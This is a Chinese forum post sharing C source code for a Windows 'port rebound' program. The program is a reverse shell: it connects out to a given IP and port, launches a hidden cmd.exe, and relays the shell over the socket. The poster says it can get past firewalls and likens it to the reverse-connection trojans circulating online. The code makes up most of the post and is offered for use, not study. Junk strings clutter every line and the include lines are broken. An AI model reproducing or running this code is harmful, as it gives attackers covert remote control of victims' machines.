社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4944阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 A,) VM9M_l  
!QT'L,_  
/* ============================== G_dsrpI=N  
Rebound port in Windows NT wprX!)w<i  
By wind,2006/7 v (2GX  
===============================*/ xGG,2W+z  
#include _` [h,=  
#include }h}<! s  
6Vbzd0dk  
#pragma comment(lib,"wsock32.lib") W7\&~IWub  
) 9oH,gZ  
void OutputShell(); )#}mH@  
SOCKET sClient; U7DCx=B  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; DtEwW1J  
$L2%u8}8:  
void main(int argc,char **argv) wV)}a5+  
{ \xUe/=  
WSADATA stWsaData; N*@aDM07  
int nRet; d.2mT?`#  
SOCKADDR_IN stSaiClient,stSaiServer; vi)%$~  
n?:=  
if(argc != 3) 3J=Y9 }  
{ XZ/[v8  
printf("Useage:\n\rRebound DestIP DestPort\n"); N|Sf=q?Ko  
return; I Nc^L  
} _zu?.I0^  
@y/wEBb  
WSAStartup(MAKEWORD(2,2),&stWsaData); _HA$ j2  
wM _ 6{  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @Fpb-Qd"  
-.|4Y#b:&  
stSaiClient.sin_family = AF_INET; vw)7 !/#  
stSaiClient.sin_port = htons(0); u?[ q=0.J7  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Zv_jy@k  
C P3<1~  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) er.CDKD%L  
{ \)48904^  
printf("Bind Socket Failed!\n"); 0liR  
return; QQpP#F|w  
} HSIvWhg?p  
]O:N-Y  
stSaiServer.sin_family = AF_INET; $) 5Bf3P0  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); c=6Q%S  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); $j 5,%\4<  
"aF8l<1xn  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) cM_ Fp  
{ Z h/Uu6  
printf("Connect Error!"); e62Dx#IY  
return; k5&bq2)I  
} 6st^4S5  
OutputShell(); $^tv45  
} 6UE(f@  
CZEW-PIhj  
void OutputShell() CVi`bO4\  
{ Ce'pis   
char szBuff[1024]; c:l]=O   
SECURITY_ATTRIBUTES stSecurityAttributes; 3?E&}J<n  
OSVERSIONINFO stOsversionInfo; oR*=|B  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; K$ v"Uk  
STARTUPINFO stStartupInfo; ~=Ncp9ej#  
char *szShell; rz(0:vxwA  
PROCESS_INFORMATION stProcessInformation; Q8MS,7y/  
unsigned long lBytesRead; m4[g6pNx~  
? /JBt /b  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); hGf-q?7  
GyC/_ntn  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); pX=,iOF[I  
stSecurityAttributes.lpSecurityDescriptor = 0; Y?#i{ixX6n  
stSecurityAttributes.bInheritHandle = TRUE; dS`Bk6 Y  
X[W]=yJJ  
&l}?v@@+_  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); I@l>w._.  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); G5tday~3  
!?[oIQ)h  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 'ho{eR@d  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g8'DoHJ*  
stStartupInfo.wShowWindow = SW_HIDE; @S 6u9v  
stStartupInfo.hStdInput = hReadPipe; D^Ys)- d  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; t!_x(u  
r Db>&s3  
GetVersionEx(&stOsversionInfo); o/,NGU  
> 4oY3wk8  
switch(stOsversionInfo.dwPlatformId) M_``'gw  
{ {?{U,&  
case 1: 2BzqY`O  
szShell = "command.com"; $cVi;2$p  
break; @1R8 -aa-r  
default: -s$<Op{s  
szShell = "cmd.exe";  0v^:  
break; )h^NR3N  
} !CjqL~  
<SVmOmJ-K  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~@8+hnE]  
=ex'22  
send(sClient,szMsg,77,0); a)2yE,":  
while(1) e(1k0W4B  
{ 3hq1yyec  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ~k'V*ERNSj  
if(lBytesRead) 8G ]w,eF  
{ ^^(<c,NX#M  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ;5 <-)  
send(sClient,szBuff,lBytesRead,0); FyG6 !t%  
} 0>!/rR7  
else WP-jtZ?!"  
{ I"xWw/Ec  
lBytesRead=recv(sClient,szBuff,1024,0); ,f: jioY  
if(lBytesRead<=0) break; Q1>zg,r  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); <E':[.zC  
} _ ^7|!(Sz  
} T`$KeuL  
v\ZBv zd  
return; i=v]:TOu  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八